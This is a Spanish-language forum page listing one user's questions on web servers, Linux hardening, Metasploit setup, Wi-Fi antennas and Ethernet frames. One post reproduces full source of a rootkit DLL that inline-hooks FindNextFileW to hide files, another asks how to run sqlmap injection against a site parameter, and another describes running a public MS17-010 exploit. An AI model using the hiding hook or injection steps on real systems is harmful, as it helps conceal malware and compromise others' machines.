|
Mostrar Temas
|
Páginas: 1 2 3 [4] 5 6
|
32
|
Seguridad Informática / Seguridad / Apache vs NGINX
|
en: 26 Julio 2017, 03:24 am
|
Buenas! Estaba leyendo un poco algunas comparativas entre ambos webservers. Según entendí Apache utiliza un thread por cada conexión que se establece, característica que puede llegar a reducir el rendimiento. NGINX procesa todas las request en el mismo proceso sin dividir por threads. Entonces si es por el tema del rendimiento yo creo que me quedaría con NGINX, además los sitios más grandes utilizan éste web server (Facebook WordPress, tumblr, Instagram, Yahoo, YouTube, Pinterest, Zynga, SourceForge, GitHub, DropBox, Intel, NetFlix), y muchos CDN (Cloudflare, NetDNA/MaxCDN, Cachefly, ProCDN/MediaTemple) En cuanto la seguridad, estuve buscando las vulnerabilidades de ambos web server en cve-mitre. Noté que NGINX tiene 13 vulnerabilidades en total, mientras que Apache 823. http://www.cvedetails.com/vendor/10048/Nginx.htmlhttps://www.cvedetails.com/vulnerability-list/vendor_id-45/Apache.htmllo cuál me lleva a creer o que NGINX es mucho más seguro, o que los hackers se enfocan más en atacar a servidores Apache. Entonces si lo que planteo es correcto, NGINX es más rápido y seguro, por lo que es una opción mejor a Apache. Me gustaría que me corrigieran ya que puede haber sacado mal las conclusiones, y que me dijeran con qué opción se quedarían ustedes y los motivos. Saludos y gracias!
|
|
|
33
|
Seguridad Informática / Seguridad / Distro de linux más segura para usar como servidor
|
en: 23 Julio 2017, 06:35 am
|
Muy buenas! Estaba aprendiendo algunas cosas sobre hardening en linux y me gustaría saber para ustedes cuál es el mejor linux teniendo la seguridad como criterio principal, para utilizar como servidor (por ejemplo un servidor web). Se que lo más importante son las herramientas, reglas, políticas y configuraciones que cada uno haga, pero seguramente puedan recomendar alguna distro por X motivo... Por ejemplo esta mañana descargué Fedora y noté que ya viene con SELinux habilitado por defecto. Me gustaría tener un sistema Linux, cómodo, seguro, que tenga snort o algún buen NIDS, que tenga SELinux, iptables/netfilter.
|
|
|
34
|
Programación / Programación C/C++ / Error al compilar una DLL
|
en: 10 Julio 2017, 23:01 pm
|
Muy buenas! Estaba investigando sobre DLL injection y quería compilar una DLL en la que se hace api hooking a la system call que lista archivos. Estoy trabajando en Windows 7 x64 con CodeBlocks y el compilador mingw que viene incluido con el IDE. La DLL que quiero compilar la obtuve de éste sitio: https://losindestructibles.wordpress.com/2012/10/15/creacion-de-rootkit-desde-cero/Es la siguiente: #include "StdAfx.h" #include <windows.h> #include <iostream> #include <cstdlib> // DECLARACIONES: BYTE *BufferFN; // Buffer que usaremos para ejecutar el api original FindNextFileW char Prefijo[] = "S7K"; // El prefijo que buscaremos para ocultar archivos/carpetas // FUNCIONES: void Hookear(); // Función que hookeará el api // Función que será llamada en vez de FindNextFileW HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData); // Puntero a función con el cual llamaremos al api FindNextFileW original HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData); // FUNCIÓN MAIN bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { // Si cargan la DLL hookeamos if (fdwReason == DLL_PROCESS_ATTACH) { Hookear(); } return TRUE; } // FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData) { // Ocultamos los archivos que empiecen por el prefijo indicado HANDLE hand; char ascStr[611]; do { hand = pBuffFN(hFindFile,lpFindFileData); WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL); }while (strncmp(ascStr ,Prefijo ,strlen(Prefijo )) == 0 && hand != NULL ); return hand; } // FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW void Hookear() { DWORD ProteVieja; // Parametro para VirtualProtect BYTE *DirFN; // La dirección en memoria de FindNextFileW BYTE *DirYoFN; // La dirección en memoria de la función que remplaza a FindNextFileW // --> HOOKEAMOS FINDNEXTFILEW (7 bytes) // Obtenemos la dirección en memoria de FindNextFileW. DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW"); //Reservamos 12 bytes de memoria para nuestro Buffer //FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D BufferFN =(BYTE *) malloc (12); //Le damos todos los permisos a los 12 bytes de nuestro Buffer VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja); // Copiamos los 7 primeros bytes del api en el buffer BufferFN += 7; // En los 5 bytes restantes... // En el primero introducimos un jmp *BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp BufferFN++; // En los otros 4 la distancia del salto *((signed int *) BufferFN)= DirFN - BufferFN + 3; // Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8); // Le damos todos los permisos a los 5 primeros bytes de la api original VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja); // Cambiamos el tipo a puntero a byte para facilitar el trabajo DirYoFN=(BYTE *) miFindNextFileW; // En el inicio de la api metemos un jmp para que salte a miFindNextFileW *DirFN=0xE9; DirFN++; // Metemos la distancia del salto *((signed int *) DirFN)=DirYoFN - DirFN - 4; // Libermos librerias de cache FlushInstructionCache(GetCurrentProcess(),NULL,NULL); }
Cuando quiero compilarla, el compilador devuelve el error: undefined reference to `WinMain@16'Build log: D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.cpp: In function 'void Hookear()': D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.cpp:104:56: warning: passing NULL to non-pointer argument 3 of 'BOOL FlushInstructionCache(HANDLE, PCVOID, DWORD)' [-Wconversion-null] mingw32-g++.exe -o "D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.exe" "D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.o" c:/program files (x86)/codeblocks/mingw/bin/../lib/gcc/mingw32/4.7.1/../../../libmingw32.a(main.o):main.c:(.text.startup+0xa7): undefined reference to `WinMain@16' collect2.exe: error: ld returned 1 exit status Process terminated with status 1 (0 minute(s), 0 second(s)) 1 error(s), 1 warning(s) (0 minute(s), 0 second(s)) Imagen: Quiero entender que estoy haciendo mal, ya que al googlear el error hay mucha gente a la que el compilador les devuelve el mismo error que el mio, pero porque tenían otros errores en su código como por ejemplo usar Main() con mayúscula, u otros, pero no se qué hacer en éste caso en particular... Espero poder compilar ésto asi luego mejoro la DLL para hacer api hooking a system calls que listen procesos y conexiones de red... Muchas gracias por su tiempo!
|
|
|
35
|
Sistemas Operativos / GNU/Linux / Debian 4: Problemas de dependencias apt-get
|
en: 2 Julio 2017, 05:54 am
|
Que tal! Resulta que quería instalar metasploit en mi Debian 4. cat /etc/issue Debian GNU/Linux 4.0 \n \l uname -r 2.6.18-6-486
Estaba siguiendo los pasos de éste enlace: https://fity666.wordpress.com/about/
que decía: Lo primero sera instalar las dependencias de ruby las cuales son esenciales para su instalación sudo apt-get install ruby libruby rdoc sudo apt-get install libyaml-ruby sudo apt-get install libzlib-ruby sudo apt-get install libopenssl-ruby sudo apt-get install libdl-ruby sudo apt-get install libreadline-ruby sudo apt-get install libiconv-ruby sudo apt-get install rubygems * apt-get install libgtk2-ruby libglade2-ruby El paso siguiente es descargar metasploit desde su sitio oficial http://www.metasploit.com/framework/download/Cuanto empiezo por el primer comando: apt-get install ruby libruby rdoc Obtengo ésta salida: apt-get install ruby libruby rdoc Reading package lists... Building dependency tree... Reading state information... ruby is already the newest version. libruby is already the newest version. rdoc is already the newest version. 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. 2 not fully installed or removed. After this operation, 0B of additional disk space will be used. Setting up cupsys-client (1.2.7-4+etch9) ... Adding group `lpadmin' (GID 110) ... groupadd: unable to lock group file addgroup: `/usr/sbin/groupadd -g 110 lpadmin' returned error code 10. Exiting. dpkg: error processing cupsys-client (--configure): subprocess post-installation script returned error exit status 1 dpkg: dependency problems prevent configuration of cupsys-bsd: cupsys-bsd depends on cupsys-client (= 1.2.7-4+etch9); however: Package cupsys-client is not configured yet. dpkg: error processing cupsys-bsd (--configure): dependency problems - leaving unconfigured Errors were encountered while processing: cupsys-client cupsys-bsd E: Sub-process /usr/bin/dpkg returned an error code (1) Como ven, los paquetes de ruby que necesito para instalar metasploit no se pudieron instalar como corresponde. Tengo muchos problemas con el apt-get. Mi sources.list contiene lo siguiente: Ya hice un apt-get update, y luego probé también apt-get upgrade y aquí obtengo problemas parecidos al que compartí aquí arriba... Me gustaría que me dieran alguna idea para resolver mi problema. Si necesitan algo más de información, avisenme. Saludos y gracias!
|
|
|
37
|
Seguridad Informática / Nivel Web / No entiendo como funciona éste tipo de parámetro en sitio web
|
en: 2 Junio 2017, 23:43 pm
|
Miren como funciona éste buscador: http://www.ejemplo.com//SEARCHED/ST=mi_busqueda/gbpws.aspx Fijense donde resalté mi_busqueda, aquí está el valor del parametro que utiliza el buscador de éste sitio web de ejemplo. Hay varias cosas que no enteindo en ésta url, entre ello no entiendo por que hay dos barras ' //' entre el .com y el SEARCHED. SEARCHED lo interpreto como un directorio dentro de la web, pero entre las dos ' //', se me viene algo a la mente como un directorio fantasma, sin nombre, pero no entiendo como puede ser posible. Después, no entiendo que sería ' ST', lo lógico sería que fuera el nombre del parámetro, pero no entiendo por que está antes del archivo .aspx que sería el archivo de la página en si. Lo normal, y lo que veo dia a dia en todas las webs es que los parámetros estén después del nombre de la página seguido a un signo de interrogación '?' Por ejemplo, yo estoy acostumbrado a que la página sea de éste modo: http://www.ejemplo.com/SEARCHED/gbpws.aspx?ST=mi_busquedaMe gustaría que me ayudaran a entender la naturaleza de este enlace y también saber como se podría inyectar a través de sqlmap a un parámetro como éste, ya que la opción -p ST no funciona en éste caso. Saludos y gracias!
|
|
|
38
|
Seguridad Informática / Hacking Wireless / Sobre potencia de un adaptador (mW) y ganancia de una antena (dBi)
|
en: 27 Mayo 2017, 08:53 am
|
Qué tal! Ésta es una duda que tengo desde hace mucho. Se que la potencia es adherente al adaptador y la ganancia a la antena... Pero quiero saber que es exactamente lo que cambiaría al tener un adaptador con más potencia y/o una antena con más ganancia. Cuanto mayor es el número de ambas medidas, mayor sería la distancia máxima de las señales que puedo escuchar?
Y si por ejemplo tengo: Un adaptador de 500mW y una antena de 18dBi o Un adaptador de 1000mW y una antena de 5dBi
estaría teniendo algo equivalente?
P.D: ya se que existen antenas direccionales y omnidireccionales, y que las direccionales intensifican la señal en una dirección especifica, y las omnidireccionales la distribuyen equitativamente en todas las direcciones.
Gracias por ayudarme a aclarar las dudas. Saludos!
|
|
|
39
|
Comunicaciones / Redes / Capturar trama ethernet completa
|
en: 25 Mayo 2017, 10:05 am
|
Que tal, estuve capturando los paquetes que entran y salen de mi pc, y noté que en la sección de la trama ethernet solo figuran la MAC destino, origen y el ethertype, pero nunca veo el preámbulo, ni el CRC que según leí también forman parte de una trama ethernet. Quería saber por qué no me llegan dichos campos. Saludos
|
|
|
40
|
Seguridad Informática / Bugs y Exploits / Kernel panic probando Windows SMB RCE (MS17-010)
|
en: 14 Mayo 2017, 06:30 am
|
Muy buenas! Como muchos sabran estos días se dieron a conocer vulnerabilidades gravisimas que afectaron a Telefónica y otras empresas y técnicas de la CIA, todas afectando a la mayoría de sistemas Windows. Estuve leyendo un poco sobre el ransomware Wanna Cry, y descubrí que usa como base ésta nueva vulnerabilidad en el protocolo SMB que corre en el puerto 445 de Windows y que es accesible desde adentro de una LAN. En base a éste fallo, se creo el malware que se propaga y cifra todo lo que esté a su paso. La forma para no ser vulnerable es a través de la actualización de windows MS17-010. Bueno, queriendo experimentar un poco con ésto, encontré éste exploit en exploit-db.com: https://www.exploit-db.com/exploits/41987/Abrí una máquina virtual con Kali, descargue el exploit, lo llame ms17010.py, le di permisos de ejecución, y lo ejecute de la siguiente forma : python3 ms17010.py ipaddress en ipaddress utilice la ip privada de mi mi Windows 7 (el SO que tengo instalado en disco y no corro virtualizado). Luego de ejecutarlo esperaba encontrarme con varios errores en el interprete de python que debería depurar, como suele pasar frecuentemente con los exploits de exploit-db.com, pero no, mucho peor... Windows me tiró Kernel Panic (BlueScreen), me gustaría saber si ustedes lo probaron y les paso lo mismo que a mi, o si encontraron algo que modificar y lo modificaron para dejarlo funcionando. Saludos y muchas gracias desde ya!
|
|
|
|
|
|
|